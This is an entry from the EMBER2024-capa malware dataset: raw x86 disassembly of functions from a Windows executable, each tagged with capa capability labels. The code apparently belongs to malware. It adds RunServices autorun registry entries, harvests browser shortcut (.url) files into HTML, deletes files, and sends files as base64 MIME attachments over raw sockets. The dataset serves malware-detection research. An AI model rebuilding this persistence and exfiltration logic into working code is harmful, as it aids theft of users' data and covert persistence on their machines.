joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404ef4
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x41460f
call fcn.004097a4
sub esp, 0x1c0
push ebx
push esi
push edi
mov esi, 0x418280
push esi
lea eax, [ebp + 8]
push eax
xor edi, edi
lea eax, [ebp - 0x54]
inc edi
push eax
mov dword [ebp - 4], edi
call fcn.00404d66
lea ecx, [ebp + 0x24]
push ecx
push eax
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 4], 2
call fcn.00404db4
add esp, 0x18
xor ebx, ebx
push ebx
push edi
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 4
call fcn.004046e7
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x404f51
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x1cc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ebx
je 0x405037
cmp byte [ebp - 0x1a0], 0x2e
je 0x405016
test byte [ebp - 0x1cc], 0x10
je 0x405013
push esi
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00404d66
lea ecx, [ebp - 0x1a0]
push ecx
push eax
lea eax, [ebp - 0x8c]
push eax
mov byte [ebp - 4], 5
call fcn.00404d66
add esp, 0x18
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 6
call fcn.00404b5c
push ebx
push edi
lea ecx, [ebp - 0x8c]
call fcn.004046e7
push ebx
push edi
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 4
call fcn.004046e7
sub esp, 0x1c
lea eax, [ebp + 0x24]
mov ecx, esp
mov dword [ebp - 0x38], esp
push eax
call fcn.00404c77
sub esp, 0x1c
lea eax, [ebp - 0x30]
mov ecx, esp
mov dword [ebp - 0x34], esp
push eax
mov byte [ebp - 4], 7
call fcn.00404c77
mov byte [ebp - 4], 4
call fcn.00404ef4
add esp, 0x38
add dword [ebp - 0x10], eax
jmp 0x405016
inc dword [ebp - 0x10]
lea eax, [ebp - 0x1cc]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x404f6e
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push edi
lea ecx, [ebp - 0x30]
call fcn.004046e7
push ebx
push edi
lea ecx, [ebp + 8]
call fcn.004046e7
push ebx
push edi
lea ecx, [ebp + 0x24]
call fcn.004046e7
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4051af
Capabilities:
Enumerate files on windows
Enumerate files recursively
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1658
call fcn.004099d0
push ebx
push esi
xor esi, esi
cmp dword [ebp + 0x10], esi
mov dword [ebp - 4], ecx
mov eax, str._s.url
jne 0x4051d2
mov eax, str._s.
mov ebx, dword [ebp + 0xc]
push ebx
push eax
lea eax, [ebp - 0x450]
push eax
call fcn.0040996a
add esp, 0xc
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
jne 0x405220
cmp dword [ebp + 0x10], esi
je 0x405219
mov ecx, dword [ebp - 4]
push esi
push ebx
push dword [ebp + 8]
call fcn.004051af
jmp 0x4053c1
xor eax, eax
jmp 0x4053c1
push edi
xor edi, edi
inc edi
lea eax, [ebp - 0x118]
push eax
call fcn.004086a0
test eax, eax
pop ecx
je 0x40538a
cmp byte [ebp - 0x118], 0x2e
je 0x40538a
lea eax, [ebp - 0x118]
push eax
push ebx
lea eax, [ebp - 0x248]
push str._s_s
push eax
call fcn.0040996a
add esp, 0x10
cmp dword [ebp + 0x10], esi
jne 0x40528d
test byte [ebp - 0x144], 0x10
je 0x40538a
mov ecx, dword [ebp - 4]
push 1
lea eax, [ebp - 0x248]
push eax
push dword [ebp + 8]
call fcn.004051af
jmp 0x40538a
lea eax, [ebp - 0x248]
push eax
push 0x800
lea eax, [ebp - 0xc50]
push eax
push 0x418464
push 0x418460
push str.InternetShortcut
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x4052cc
lea eax, [ebp - 0xc50]
push str._unknown_
push eax
call fcn.00408af0
pop ecx
pop ecx
lea eax, [ebp - 0x118]
push 0x2e
push eax
call fcn.0040872b
mov esi, eax
lea eax, [ebp - 0x118]
sub esi, eax
push esi
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.00408360
add esp, 0x14
test edi, edi
mov byte [ebp + esi - 0x248], 0
je 0x405354
push 0x5c
push ebx
call fcn.0040872b
test eax, eax
pop ecx
pop ecx
jne 0x405313
mov eax, ebx
jmp 0x40531a
push eax
call fcn.004092bd
pop ecx
push eax
lea eax, [ebp - 0x34c]
push eax
call fcn.00408af0
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0xc50]
push eax
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x1658]
push str._tr__td_nbsp___td__td_nbsp___td___tr__tr__td__b__s__b___td__td__a_href_s__s__a___td___tr_
push eax
call fcn.0040996a
add esp, 0x1c
xor edi, edi
jmp 0x405376
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0xc50]
push eax
lea eax, [ebp - 0x1658]
push str._tr__td_nbsp___td__td__a_href_s__s__a___td___tr_
push eax
call fcn.0040996a
add esp, 0x10
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x1658]
push eax
push dword [ebp + 8]
call fcn.00405164
xor esi, esi
lea eax, [ebp - 0x144]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405224
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 0x10], esi
pop edi
je 0x4053be
mov ecx, dword [ebp - 4]
push esi
push ebx
push dword [ebp + 8]
call fcn.004051af
xor eax, eax
inc eax
pop esi
pop ebx
leave
ret 0xc
Function at 0x40549f
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
push edi
mov esi, 0x418250
push esi
push dword [ebp + 0xc]
call fcn.00408f69
xor ebx, ebx
mov edi, eax
pop ecx
inc ebx
test edi, edi
pop ecx
jne 0x4054f8
mov edi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test bl, al
je 0x4054da
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4054f4
push esi
push edi
call fcn.00408f69
mov edi, eax
test edi, edi
pop ecx
pop ecx
jne 0x4054f8
xor eax, eax
jmp 0x405564
mov eax, dword [ebp + 0x10]
mov esi, 0x400
jmp 0x405525
push esi
push ebx
push eax
call fcn.00408e24
push edi
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x404]
push ebx
push eax
call fcn.00408cef
mov eax, dword [ebp + 0x10]
add esp, 0x20
sub eax, dword [ebp - 4]
push dword [ebp + 8]
mov dword [ebp + 0x10], eax
cmp eax, esi
lea eax, [ebp - 0x404]
jg 0x405502
push dword [ebp + 0x10]
push ebx
push eax
call fcn.00408e24
push edi
push eax
lea eax, [ebp - 0x404]
push ebx
push eax
call fcn.00408cef
push edi
call fcn.00408ebc
add esp, 0x24
push 0x26
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x405bc8
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
push ebx
push esi
push edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x2a4]
push str._s.dll
push eax
mov dword [ebp - 8], ecx
call fcn.0040996a
mov ecx, dword [ebp - 8]
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x2a4]
push eax
call fcn.004055ab
lea eax, [ebp - 0x9c]
push eax
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
mov ebx, str.SoftwareMicrosoftWindowsCurrentVersion_s
mov esi, 0x20006
mov edi, closesocket
je 0x405c68
xor eax, eax
cmp dword [ebp - 0x8c], 1
sete al
test eax, eax
je 0x405c68
push str.RunServices
lea eax, [ebp - 0x1a0]
push ebx
push eax
call fcn.0040996a
mov ecx, dword [ebp - 8]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1a0]
push eax
push edi
call fcn.004059ef
test eax, eax
je 0x405cb5
push 0x418630
lea eax, [ebp - 0x1a0]
push ebx
push eax
call fcn.0040996a
mov ecx, dword [ebp - 8]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1a0]
push eax
push edi
call fcn.004059ef
test eax, eax
je 0x405cb5
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1a0]
push eax
push closesocket
call fcn.004059ef
mov esi, eax
test esi, esi
jne 0x405ce8
cmp dword [ebp + 0x10], 0
jne 0x405cc9
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x405ce6
push dword [ebp + 8]
call fcn.004086a0
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40752d
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
mov eax, 0x414703
call fcn.004097a4
sub esp, 0x300
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
call fcn.00406848
lea eax, [ebp - 0x30c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x407568
xor eax, eax
jmp 0x407660
push 0x100
lea eax, [ebp - 0x17c]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x407590
mov dword [ebp - 0x20], ebx
push 0x41a7e4
lea eax, [ebp - 0x20]
jmp 0x4075c2
lea eax, [ebp - 0x17c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
cmp esi, ebx
jne 0x4075b0
mov dword [ebp - 0x1c], ebx
push 0x41a7e4
lea eax, [ebp - 0x1c]
jmp 0x4075c2
cmp word [esi + 0xa], 4
je 0x4075c8
mov dword [ebp - 0x18], ebx
push 0x41a7e4
lea eax, [ebp - 0x18]
push eax
call fcn.004097c3
push 0xf
xor eax, eax
mov byte [ebp - 0x7c], bl
pop ecx
lea edi, [ebp - 0x7b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov eax, dword [esi + 0xc]
lea eax, [eax + edi*4]
cmp dword [eax], ebx
je 0x40764c
movsx ecx, word [esi + 0xa]
push ecx
push dword [eax]
lea eax, [ebp - 0x14]
push eax
call fcn.00408360
movzx eax, byte [ebp - 0x11]
push eax
movzx eax, byte [ebp - 0x12]
push eax
movzx eax, byte [ebp - 0x13]
push eax
movzx eax, byte [ebp - 0x14]
push eax
lea eax, [ebp - 0x7c]
push str._d._d._d._d
push eax
call fcn.0040996a
add esp, 0x24
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00404d44
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 4], 1
call fcn.004074ed
push ebx
push 1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], bl
call fcn.004046e7
inc edi
jmp 0x4075da
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp + 8]
call fcn.004070c8
neg eax
sbb eax, eax
neg eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x407708
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
cmp dword [esi + 4], 0
je 0x40771e
xor eax, eax
jmp 0x4077a6
lea eax, [esi + 0xc]
push edi
push eax
call fcn.0040453f
pop ecx
push dword [ebp + 0xc]
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 8]
mov word [ebp - 0xe], ax
movsx eax, byte [edi]
push eax
call fcn.0040a475
test eax, eax
pop ecx
push edi
je 0x407768
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40775f
mov eax, 0x81
jmp 0x4077a5
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x40776e
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0
xor edi, edi
inc edi
push edi
push 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x40778e
mov eax, 0x82
jmp 0x4077a5
push 0x10
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x407787
mov dword [esi + 4], edi
xor eax, eax
pop edi
pop esi
leave
ret 8
Function at 0x4077ab
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, ecx
call fcn.004086a0
mov esi, eax
test esi, esi
pop ecx
mov ebx, esi
jbe 0x4077ec
mov eax, 0x3e8
cmp esi, eax
jae 0x4077cf
mov eax, esi
push 0
push eax
mov eax, ebx
sub eax, esi
add eax, dword [ebp + 8]
push eax
push dword [edi + 8]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4077f3
sub esi, eax
jne 0x4077c4
pop edi
pop esi
pop ebx
pop ebp
ret 4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp + 8], eax
push 0x41a7e4
lea eax, [ebp + 8]
push eax
call fcn.004097c3
int3
Function at 0x407894
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, 0x414715
call fcn.004097a4
sub esp, 0x220
push ebx
push edi
push 0x418254
push dword [ebp + 8]
mov dword [ebp - 0x10], ecx
call fcn.00408f69
mov ebx, eax
xor edi, edi
cmp ebx, edi
pop ecx
pop ecx
jne 0x4078c7
xor eax, eax
jmp 0x407a2f
push esi
push 2
push edi
push ebx
call fcn.00409aa6
push ebx
call fcn.00409c51
mov esi, eax
add esp, 0x10
cmp esi, 1
jge 0x4078e8
xor eax, eax
jmp 0x407a2e
push edi
push edi
push ebx
call fcn.00409aa6
push esi
call fcn.00408a60
add esp, 0x10
cmp eax, edi
mov dword [ebp + 8], eax
jne 0x407909
push ebx
call fcn.00408ebc
pop ecx
jmp 0x4078e1
push dword [ebp + 0xc]
lea eax, [ebp - 0x22c]
push dword [ebp + 0xc]
push str.______NextPart_000_01C19920.83032BC0
push str._r_n_r_n___s_r_nContent_Type:_application_octet_stream__r_n_tname__s__r_nContent_Transfer_Encoding:_base64_r_nContent_Disposition:_attachment__r_n_tfilename__s__r_n_r_n
push eax
call fcn.0040996a
mov ecx, dword [ebp - 0x10]
add esp, 0x14
lea eax, [ebp - 0x22c]
push eax
call fcn.004077ab
lea ecx, [ebp - 0x2c]
call fcn.00404016
test esi, esi
mov dword [ebp - 4], edi
mov edi, esi
jle 0x407971
mov eax, 0x3e8
cmp edi, eax
jge 0x407953
mov eax, edi
push ebx
push eax
mov eax, dword [ebp + 8]
sub eax, edi
add eax, esi
push 1
push eax
call fcn.00408e24
add esp, 0x10
test eax, eax
je 0x407971
sub edi, eax
test edi, edi
jg 0x407948
push ebx
call fcn.00408ebc
pop ecx
push esi
push dword [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.0040416a
push 0x400
push dword [ebp + 8]
call fcn.00408796
pop ecx
pop ecx
xor esi, esi
lea ecx, [ebp - 0x2c]
mov edi, eax
mov dword [ebp + 0xc], esi
call fcn.00404068
cmp eax, esi
mov dword [ebp + 8], eax
jle 0x407a0c
mov ebx, dword [ebp + 8]
cmp dword [ebp + 0xc], ebx
jge 0x4079ee
sub ebx, dword [ebp + 0xc]
cmp ebx, 0x48
jl 0x4079bc
push 0x48
pop ebx
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00404060
add eax, dword [ebp + 0xc]
push eax
lea eax, [esi + edi]
push eax
call fcn.00408360
add dword [ebp + 0xc], ebx
lea esi, [esi + ebx + 2]
add esp, 0xc
cmp esi, 0x39e
mov byte [esi + edi - 2], 0xd
mov byte [esi + edi - 1], 0xa
jl 0x4079a9
mov eax, dword [ebp - 0x10]
push 0
push esi
push edi
push dword [eax + 8]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x407a0c
mov eax, dword [ebp + 0xc]
xor esi, esi
cmp eax, dword [ebp + 8]
jl 0x4079a9
push edi
call fcn.00408a72
pop ecx
mov ecx, dword [ebp + 8]
xor eax, eax
cmp dword [ebp + 0xc], ecx
lea ecx, [ebp - 0x2c]
sete al
or dword [ebp - 4], 0xffffffff
mov esi, eax
call fcn.0040402d
mov eax, esi
pop esi
mov ecx, dword [ebp - 0xc]
pop edi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x407d5a
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 0x3e8
mov edi, ecx
push esi
push dword [edi + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x407d82
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x407db6
push esi
mov ecx, edi
mov byte [eax + esi], 0
call fcn.0040780b
test eax, eax
je 0x407dc7
push esi
mov ecx, edi
call fcn.0040782d
push 3
push 0x418c84
push esi
call fcn.0040a3a0
add esp, 0xc
neg eax
sbb eax, eax
and eax, 0xfffffffe
add eax, 0x85
mov dword [ebp + 8], eax
push 0x41a7e4
lea eax, [ebp + 8]
push eax
call fcn.004097c3
pop edi
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x40a209
Capabilities:
Terminate process

Disassembly:
push 8
push 0x418fe8
call fcn.0040c798
push 8
call fcn.0040bbbe
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x41d368], esi
jne 0x40a23d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x41d364], esi
mov al, byte [ebp + 0x10]
mov byte [0x41d360], al
cmp dword [ebp + 0xc], edi
jne 0x40a287
cmp dword [0x41ebac], edi
je 0x40a277
mov eax, dword [0x41eba8]
sub eax, 4
mov dword [0x41eba8], eax
cmp eax, dword [0x41ebac]
jb 0x40a277
mov eax, dword [eax]
cmp eax, edi
je 0x40a258
call eax
jmp 0x40a258
push 0x41c02c
mov eax, 0x41c024
call fcn.0040a187
pop ecx
push 0x41c038
mov eax, 0x41c030
call fcn.0040a187
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x40a2b8
cmp dword [ebp + 0x10], edi
jne 0x40a2c6
mov dword [0x41d368], esi
push dword [ebp + 8]
call fcn.0040a145
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x40a2c5
push 8
call fcn.0040bb09
pop ecx
ret
call fcn.0040c7d3
ret
Function at 0x40b047
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x419140
call fcn.0040c798
mov edi, 0x94
mov eax, edi
call fcn.004099d0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x41d328], ecx
mov eax, dword [esi + 4]
mov dword [0x41d334], eax
mov edx, dword [esi + 8]
mov dword [0x41d338], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x41d32c], esi
cmp ecx, 2
je 0x40b0a7
or esi, 0x8000
mov dword [0x41d32c], esi
shl eax, 8
add eax, edx
mov dword [0x41d330], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40b0e2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40b0e2
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40b0fa
cmp eax, 0x20b
je 0x40b0e7
mov dword [ebp - 0x1c], esi
jmp 0x40b10e
cmp dword [ecx + 0x84], 0xe
jbe 0x40b0e2
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x40b108
cmp dword [ecx + 0x74], 0xe
jbe 0x40b0e2
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.0040bc24
pop ecx
test eax, eax
jne 0x40b122
push 0x1c
call fcn.0040b023
pop ecx
call fcn.0040b97c
test eax, eax
jne 0x40b133
push 0x10
call fcn.0040b023
pop ecx
call fcn.0040fa84
mov dword [ebp - 4], esi
call fcn.0040ebc1
test eax, eax
jge 0x40b14c
push 0x1b
call fcn.0040affe
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x41eba0], eax
call fcn.00410d5e
mov dword [0x41d36c], eax
call fcn.00410cbc
test eax, eax
jge 0x40b172
push 8
call fcn.0040affe
pop ecx
call fcn.00410a89
test eax, eax
jge 0x40b183
push 9
call fcn.0040affe
pop ecx
push 1
call fcn.0040a19f
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x40b199
push eax
call fcn.0040affe
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00410a2c
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x40b1ba
movzx eax, word [ebp - 0x40]
jmp 0x40b1bd
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00406ff6
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x40b1db
push edi
call fcn.0040a2cc
call fcn.0040a2ee
jmp 0x40b20d
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.0040c7d3
ret
Function at 0x40ca06
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x41c844]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x40ca37
xor eax, eax
jmp 0x40cbc0
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x41d820]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x40ca73
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.00411466
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x40cb4e
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x40cb8c
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x40cad7
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x40cac8
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x40caa8
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40cb17
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x40cb20
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x40ca99
jmp 0x40cb22
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x40cbbb
cmp dword [ebp - 0x6c], edi
je 0x40cb8c
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x40cb81
call fcn.0040d561
mov dword [eax], 9
call fcn.0040d56a
mov dword [eax], esi
jmp 0x40cbb6
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40cb76
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x40cb22
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x40cb22
push dword [ebp - 0x6c]
call fcn.0040d573
pop ecx
jmp 0x40cbb6
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x40cba4
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x40cba4
xor eax, eax
jmp 0x40cbbe
call fcn.0040d561
mov dword [eax], 0x1c
call fcn.0040d56a
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x40cbbe
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.0041106b
add ebp, 0x3a0
leave
ret